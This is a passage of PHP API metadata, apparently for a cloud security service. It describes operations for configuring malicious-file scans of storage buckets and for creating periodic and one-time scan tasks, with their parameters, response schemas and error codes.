'schema' => [ 'description' => 'The time when the check is performed. The value specifies the days of the week.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The time when the check is performed. The value specifies the day of the week.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'required' => false, 'maxItems' => 1000, ], ], [ 'name' => 'BucketNameList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The names of the buckets.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The name of the bucket.'."\n", 'type' => 'string', 'required' => false, 'example' => 'hz-new02****', ], 'required' => false, 'maxItems' => 1000, ], ], [ 'name' => 'KeySuffixList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The suffixes of the objects that you want to check.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The suffix of the object that you want to check.'."\n", 'type' => 'string', 'required' => false, 'example' => '.asp', ], 'required' => false, 'maxItems' => 1000, ], ], [ 'name' => 'StartTime', 'in' => 'query', 'schema' => [ 'description' => 'The start time of the check. Specify the time in the HH:mm:ss format.'."\n", 'type' => 'string', 'required' => false, 'example' => '00:00:00'."\n", ], ], [ 'name' => 'EndTime', 'in' => 'query', 'schema' => [ 'description' => 'The end time of the check. Specify the time in the HH:mm:ss format.'."\n", 'type' => 'string', 'required' => false, 'example' => '00:00:01', ], ], [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The policy ID.'."\n", 'type' => 'string', 'required' => false, 'example' => '65778', ], ], [ 'name' => 'KeyPrefixList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The prefixes of the objects.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The prefix of the object.'."\n", 'type' => 'string', 'required' => false, 'example' => '/root', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The policy name.'."\n", 'type' => 'string', 'required' => false, 'example' => 'nacos****', ], ], [ 'name' => 'AllKeyPrefix', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to match the prefixes of all objects.'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'DecompressMaxLayer', 'in' => 'query', 'schema' => [ 'description' => 'The maximum number of decompression levels when multi-level packages are decompressed. Valid values: 1 to 5. If the value is reached, the decompression operation immediately finishes. The detection of extracted objects is not affected.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'DecompressMaxFileCount', 'in' => 'query', 'schema' => [ 'description' => 'The maximum number of objects that can be extracted from a package. Valid values: 1 to 1000. If the value is reached, the decompression operation immediately finishes. The detection of extracted objects is not affected.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '100', ], ], [ 'name' => 'DecryptionList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The decryption methods.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The decryption method. Valid values:'."\n" ."\n" .'* **OSS**: uses OSS-managed keys.'."\n" .'* **KMS**: uses Key Management Service (KMS)-managed customer master keys (CMKs).'."\n", 'type' => 'string', 'required' => false, 'example' => 'KMS', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'LastModifiedStartTime', 'in' => 'query', 'schema' => [ 'description' => 'The timestamp. The objects whose last modification time is later than the specified value are detected. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1724301769834', ], ], [ 'name' => 'RealTimeIncr', 'in' => 'query', 'schema' => [ 'description' => 'Whether to enable real-time incremental detection. When this parameter is set to true, the parameters ScanDayList, StartTime, and EndTime are not effective.', 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'FFA14F61-4E2F-54C7-9276-81C60BAC****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"FFA14F61-4E2F-54C7-9276-81C60BAC****\\"\\n}","type":"json"}]', 'title' => 'UpdateOssScanConfig', ], 'ListOssBucket' => [ 'summary' => 'Queries Object Storage Service (OSS) buckets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '172817', 'abilityTreeNodes' => [ 'FEATUREsasNPORLE', ], ], 'parameters' => [ [ 'name' => 'BucketName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the bucket.'."\n", 'type' => 'string', 'required' => false, 'example' => 'iboxpublic****', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content in the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'en', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '3956048F-9D73-5EDB-834B-4827BB48****', ], 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'BucketName' => [ 'description' => 'The name of the bucket.'."\n", 'type' => 'string', 'example' => 'iboxpublic****', ], 'Support' => [ 'description' => 'Indicates whether the bucket can be checked. Valid values:'."\n" ."\n" .'* true'."\n" .'* false'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Message' => [ 'description' => 'The reason why the bucket cannot be checked.'."\n", 'type' => 'string', 'example' => 'Unsupported Region.', ], 'StorageClass' => [ 'description' => 'The storage class of the bucket. Valid values:'."\n" ."\n" .'* Standard (default)'."\n" .'* IA'."\n" .'* Archive'."\n" .'* ColdArchive'."\n", 'type' => 'string', 'example' => 'Standard', ], 'RegionId' => [ 'description' => 'The region ID.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'SupportConfig' => [ 'description' => 'Whether to support config. Valid values:'."\n" ."\n" .'* true'."\n" .'* false', 'type' => 'string', 'example' => 'true', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3956048F-9D73-5EDB-834B-4827BB48****\\",\\n \\"Data\\": [\\n {\\n \\"BucketName\\": \\"iboxpublic****\\",\\n \\"Support\\": true,\\n \\"Message\\": \\"Unsupported Region。\\",\\n \\"StorageClass\\": \\"Standard\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"SupportConfig\\": \\"true\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListOssBucket', ], 'CreateOssScanConfig' => [ 'summary' => 'Creates a policy for detecting malicious Object Storage Service (OSS) objects by using the SDK for malicious file detection feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '172821', 'abilityTreeNodes' => [ 'FEATUREsasNPORLE', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Enable', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to enable the policy. Valid values:'."\n" ."\n" .'* **1**: yes'."\n" .'* **0**: no'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'ScanDayList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The days on which the scan is executed in a week.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The day on which the scan is executed in a week.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'required' => false, 'maxItems' => 1000, ], ], [ 'name' => 'BucketNameList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The names of buckets.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The name of the bucket.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cccarvato-oss****', ], 'required' => false, 'maxItems' => 1000, ], ], [ 'name' => 'KeySuffixList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The suffixes of the files to scan.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The suffix of the file to scan.'."\n", 'type' => 'string', 'required' => false, 'example' => '.asp', ], 'required' => false, 'maxItems' => 1000, ], ], [ 'name' => 'StartTime', 'in' => 'query', 'schema' => [ 'description' => 'The time when the scan starts. The time must be in the HH:mm:ss format.'."\n", 'type' => 'string', 'required' => false, 'example' => '00:00:00', ], ], [ 'name' => 'EndTime', 'in' => 'query', 'schema' => [ 'description' => 'The time when the scan ends. The time must be in the HH:mm:ss format.'."\n", 'type' => 'string', 'required' => false, 'example' => '01:01:00', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The policy name.'."\n", 'type' => 'string', 'required' => false, 'example' => 'runtime', ], ], [ 'name' => 'KeyPrefixList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The prefixes of the objects.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The prefix of the object.'."\n", 'type' => 'string', 'required' => false, 'example' => '/root', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'AllKeyPrefix', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to match the prefixes of all objects.'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'DecompressMaxLayer', 'in' => 'query', 'schema' => [ 'description' => 'The maximum number of decompression levels when multi-level packages are decompressed. Valid values: 1 to 5. If the maximum number of decompression levels is reached, the decompression operation immediately ends and the detection of extracted objects is not affected.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'DecompressMaxFileCount', 'in' => 'query', 'schema' => [ 'description' => 'The maximum number of objects that can be extracted during decompression. Valid values: 1 to 1000. If the maximum number of objects that can be extracted is reached, the decompression operation immediately ends and the detection of extracted objects is not affected.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '100', ], ], [ 'name' => 'DecryptionList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The decryption methods.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The decryption method. Valid values:'."\n" ."\n" .'* **OSS**: OSS-managed.'."\n" .'* **KMS**: Key Management Service (KMS).'."\n", 'type' => 'string', 'required' => false, 'example' => 'KMS', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'LastModifiedStartTime', 'in' => 'query', 'schema' => [ 'description' => 'The timestamp when the object was last modified. The time must be later than the timestamp that you specify. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1724301769834', ], ], [ 'name' => 'RealTimeIncr', 'in' => 'query', 'schema' => [ 'description' => 'Whether to enable real-time incremental detection. When this parameter is set to true, the parameters ScanDayList, StartTime, and EndTime are not effective.', 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '5DFD6277-CC36-57F7-ACE6-F5952123****', ], 'Id' => [ 'description' => 'The policy ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '210****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"5DFD6277-CC36-57F7-ACE6-F5952123****\\",\\n \\"Id\\": 0\\n}","type":"json"}]', 'title' => 'CreateOssScanConfig', ], 'ListSupportObjectSuffix' => [ 'summary' => 'Queries supported file suffixes.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '571B2642-BF51-5BDD-906B-D2340DB9****', ], 'Data' => [ 'description' => 'The returned data.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The file suffix.'."\n", 'type' => 'string', 'example' => '.asp', ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"571B2642-BF51-5BDD-906B-D2340DB9****\\",\\n \\"Data\\": [\\n \\".asp\\"\\n ]\\n}","type":"json"}]', 'title' => 'ListSupportObjectSuffix', ], 'RefreshOssBucketScanInfo' => [ 'summary' => 'Refreshes the list of Object Storage Service (OSS) buckets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', 'abilityTreeCode' => '174757', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'CE290C1F-4B7D-5024-9D2F-E26D7B08****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CE290C1F-4B7D-5024-9D2F-E26D7B08****\\"\\n}","type":"json"}]', 'title' => 'RefreshOssBucketScanInfo', ], 'GetOssScanConfig' => [ 'summary' => 'Queries the configurations of an Object Storage Service (OSS) bucket check policy.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '172831', 'abilityTreeNodes' => [ 'FEATUREsasNPORLE', ], ], 'parameters' => [ [ 'name' => 'BucketName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the bucket.'."\n", 'type' => 'string', 'required' => false, 'example' => 'iboxpublic****', ], ], [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The policy ID.'."\n", 'type' => 'string', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'E10BAF1C-A6C5-51E2-866C-76D5922E****', ], 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Enable' => [ 'description' => 'Indicates whether the check policy is enabled. Valid values:'."\n" ."\n" .'* **1**: enabled.'."\n" .'* **0**: disabled.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ScanDayList' => [ 'description' => 'The days when the check is performed. The value indicates the days of the week.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The day when the check is performed. The value indicates the day of the week.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], 'BucketNameList' => [ 'description' => 'The names of the buckets.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The name of the bucket.'."\n", 'type' => 'string', 'example' => 'bcdata-oss****', ], ], 'KeySuffixList' => [ 'description' => 'The suffixes of the objects that are checked.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The suffix of the object that is checked.'."\n", 'type' => 'string', 'example' => '.asp', ], ], 'StartTime' => [ 'description' => 'The start time of the check. The time is in the HH:mm:ss format.'."\n", 'type' => 'string', 'example' => '00:00:00', ], 'EndTime' => [ 'description' => 'The end time of the check. The time is in the HH:mm:ss format.'."\n", 'type' => 'string', 'example' => '00:00:00'."\n", ], 'Name' => [ 'description' => 'The policy name.'."\n", 'type' => 'string', 'example' => 'test0104', ], 'KeyPrefixList' => [ 'description' => 'The prefixes of the objects.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The prefix of the object.'."\n", 'type' => 'string', 'example' => '/root', ], ], 'Id' => [ 'description' => 'The policy ID.'."\n", 'type' => 'string', 'example' => '1274****', ], 'BucketName' => [ 'description' => 'The name of the bucket.'."\n", 'type' => 'string', 'example' => 'hz-new01****', ], 'LastUpdateTime' => [ 'description' => 'The timestamp when the configuration was last modified.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1702025633079', ], 'BucketCount' => [ 'description' => 'The number of buckets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AllKeyPrefix' => [ 'description' => 'Indicates whether the prefixes of all objects are matched.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'DecompressMaxLayer' => [ 'description' => 'The maximum number of decompression levels when multi-level packages are decompressed. Valid values: 1 to 5. If the maximum number of decompression levels is reached, the decompression operation immediately ends and the detection of extracted objects is not affected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'DecompressMaxFileCount' => [ 'description' => 'The maximum number of objects that can be extracted during decompression. Valid values: 1 to 1000. If the maximum number of objects that can be extracted is reached, the decompression operation immediately ends and the detection of extracted objects is not affected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'DecryptionList' => [ 'description' => 'The decryption methods.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The decryption method. Valid values:'."\n" ."\n" .'* **OSS**: OSS-managed.'."\n" .'* **KMS**: Key Management Service (KMS).'."\n", 'type' => 'string', 'example' => 'KMS', ], ], 'LastModifiedStartTime' => [ 'description' => 'The timestamp when the object was last modified. The time must be later than the timestamp that you specify. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1724301769834', ], 'RealTimeIncr' => [ 'description' => 'Whether to enable real-time incremental detection. When this parameter is set to true, the parameters ScanDayList, StartTime, and EndTime are not effective.', 'type' => 'boolean', 'example' => 'true', ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"E10BAF1C-A6C5-51E2-866C-76D5922E****\\",\\n \\"Data\\": {\\n \\"Enable\\": 1,\\n \\"ScanDayList\\": [\\n 1\\n ],\\n \\"BucketNameList\\": [\\n \\"bcdata-oss****\\"\\n ],\\n \\"KeySuffixList\\": [\\n \\".asp\\"\\n ],\\n \\"StartTime\\": \\"00:00:00\\",\\n \\"EndTime\\": \\"00:00:00\\\\n\\",\\n \\"Name\\": \\"testPolicy****\\",\\n \\"KeyPrefixList\\": [\\n \\"/root\\"\\n ],\\n \\"Id\\": \\"1\\",\\n \\"BucketName\\": \\"hz-new02****\\",\\n \\"LastUpdateTime\\": 1702025633079,\\n \\"BucketCount\\": 1,\\n \\"AllKeyPrefix\\": true,\\n \\"DecompressMaxLayer\\": 1,\\n \\"DecompressMaxFileCount\\": 100,\\n \\"DecryptionList\\": [\\n \\"KMS\\"\\n ],\\n \\"LastModifiedStartTime\\": 1724301769834,\\n \\"RealTimeIncr\\": true\\n }\\n}","type":"json"}]', 'title' => 'GetOssScanConfig', ], 'CreateCycleTask' => [ 'summary' => 'Creates a periodic scan task. The task can be an image scan task, urgent vulnerability scan task, or virus scan task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasEX82TR', ], ], 'parameters' => [ [ 'name' => 'TaskName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the task. Valid values:'."\n" ."\n" .'* **VIRUS_VUL_SCHEDULE_SCAN**: virus scan task'."\n" .'* **IMAGE_SCAN**: image scan task'."\n" .'* **EMG_VUL_SCHEDULE_SCAN**: urgent vulnerability scan task'."\n", 'type' => 'string', 'required' => true, 'enumValueTitles' => [], 'example' => 'EMG_VUL_SCHEDULE_SCAN', ], ], [ 'name' => 'TaskType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the task. Valid values:'."\n" ."\n" .'* **VIRUS_VUL_SCHEDULE_SCAN**: virus scan task'."\n" .'* **IMAGE_SCAN**: image scan task'."\n" .'* **EMG_VUL_SCHEDULE_SCAN**: urgent vulnerability scan task'."\n", 'type' => 'string', 'required' => true, 'enumValueTitles' => [], 'example' => 'VIRUS_VUL_SCHEDULE_SCAN', ], ], [ 'name' => 'PeriodUnit', 'in' => 'query', 'schema' => [ 'description' => 'The unit of the scan interval. Valid values:'."\n" ."\n" .'* **day**: days'."\n" .'* **hour**: hours'."\n", 'type' => 'string', 'required' => true, 'example' => 'day', ], ], [ 'name' => 'IntervalPeriod', 'in' => 'query', 'schema' => [ 'description' => 'The interval of the task.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '7', ], ], [ 'name' => 'FirstDateStr', 'in' => 'query', 'schema' => [ 'description' => 'The first time when the task is performed.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '1650556800000', ], ], [ 'name' => 'TargetStartTime', 'in' => 'query', 'schema' => [ 'description' => 'The time when the task is started. Unit: hours.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '0', ], ], [ 'name' => 'TargetEndTime', 'in' => 'query', 'schema' => [ 'description' => 'The time when the task ends. Unit: hours.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '6', ], ], [ 'name' => 'Param', 'in' => 'query', 'schema' => [ 'description' => 'The additional information.'."\n", 'type' => 'string', 'required' => false, 'example' => '{'."\n" .' "targetInfo": ['."\n" .' {'."\n" .' "type": "groupId",'."\n" .' "name": "TI HOST",'."\n" .' "target": 10597***'."\n" .' },'."\n" .' {'."\n" .' "type": "groupId",'."\n" .' "name": "expense HOST",'."\n" .' "target": 10597***'."\n" .' }'."\n" .' ]'."\n" .'}', ], ], [ 'name' => 'Enable', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to enable the task. Valid values:'."\n" ."\n" .'* **1**: yes'."\n" .'* **0**: no'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The additional source for the task.'."\n", 'type' => 'string', 'required' => false, 'example' => 'console_batch', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '86CFF42E-E00A-57A3-8656-22291EFB****', ], 'ConfigId' => [ 'description' => 'The ID of the task configuration.', 'type' => 'string', 'example' => '00cfa8161da093089e6804ba6a33****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"86CFF42E-E00A-57A3-8656-22291EFB****\\",\\n \\"ConfigId\\": \\"00cfa8161da093089e6804ba6a33****\\"\\n}","type":"json"}]', 'title' => 'CreateCycleTask', ], 'GenerateOnceTask' => [ 'summary' => 'Creates a one-time scan task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92287', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', 'FEATUREsas36IOGX', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'TaskType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the scan task. Valid values:'."\n" ."\n" .'* **CLIENT\\_PROBLEM_CHECK**: a client diagnosis task'."\n" .'* **CLIENT\\_DEV_OPS**: an O\\&M task of Cloud Assistant'."\n" .'* **ASSET\\_SECURITY_CHECK**: a task of asset information collection', 'type' => 'string', 'required' => true, 'example' => 'CLIENT_PROBLEM_CHECK', ], ], [ 'name' => 'TaskName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the scan task. Valid values:'."\n" ."\n" .'* **CLIENT\\_PROBLEM_CHECK**: a client diagnosis task'."\n" .'* **CLIENT\\_DEV_OPS**: an O\\&M task of Cloud Assistant'."\n" .'* **ASSET\\_SECURITY_CHECK**: a task of asset information collection', 'type' => 'string', 'required' => true, 'example' => 'CLIENT_PROBLEM_CHECK', ], ], [ 'name' => 'Param', 'in' => 'query', 'schema' => [ 'description' => 'The additional information.'."\n", 'type' => 'string', 'required' => true, 'example' => '{"mode":1,"problemType":"offline","uuids":"inet-795dcad1-360f-49d2-b01e-b7da7f1c****"}', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The source of the scan task.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Manual', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '8BB6B8FA-39E8-5654-A309-8EED13B1****', ], 'CanCreate' => [ 'description' => 'Indicates whether you can create more scan tasks. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n" ."\n" .'> By default, a maximum of 10 scan tasks can be running at the same time. If 10 image scan tasks are running, you cannot create a scan task by calling this operation. You must wait for at least one of the 10 existing scan tasks to complete before you can create a scan task.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'LastTask' => [ 'description' => 'The ID of the last scan task.'."\n", 'type' => 'string', 'example' => '38730bb078f4a1461d4ed283994c****'."\n", ], 'CollectTime' => [ 'description' => 'The collection time.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1670307567000', ], 'TotalCount' => [ 'description' => 'The total number of scan tasks.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'TaskId' => [ 'description' => 'The ID of the scan task.'."\n", 'type' => 'string', 'example' => '38730bb078f4a1461d4ed283994c****', ], 'FinishCount' => [ 'description' => 'The number of scan tasks that are complete.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '61', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'AssetsCollectionFrequencyLimit', 'errorMessage' => 'Collection task frequency limit.', ], [ 'errorCode' => 'IllegalParameter', 'errorMessage' => 'Illegal parameter, please check the param.', ], [ 'errorCode' => 'UnsupportedOperation', 'errorMessage' => 'This operation is not supported.', ], [ 'errorCode' => 'TaskProcessing', 'errorMessage' => 'The baseline repair task is in progress.', ], [ 'errorCode' => '-101', 'errorMessage' => 'Invalid parameter value.', ], [ 'errorCode' => '-120', 'errorMessage' => 'The maximum number of quota is exceeded.', ], [ 'errorCode' => 'TaskRepeat', 'errorMessage' => 'Please wait last task finish.', ], [ 'errorCode' => 'BeyondQuata', 'errorMessage' => 'Please check the scan quota', ], [ 'errorCode' => 'TaskDependencyPending', 'errorMessage' => 'The previous task is not completed.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"8BB6B8FA-39E8-5654-A309-8EED13B1****\\",\\n \\"CanCreate\\": true,\\n \\"LastTask\\": \\"38730bb078f4a1461d4ed283994c****\\\\n\\",\\n \\"CollectTime\\": 1670307567000,\\n \\"TotalCount\\": 100,\\n \\"TaskId\\": \\"38730bb078f4a1461d4ed283994c****\\",\\n \\"FinishCount\\": 61\\n}","type":"json"}]', 'title' => 'GenerateOnceTask', ], 'DeleteCycleTask' => [ 'summary' => 'Deletes a periodic scan task. The task can be an image scan task, urgent vulnerability scan task, or virus scan task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasE5WAEJ', 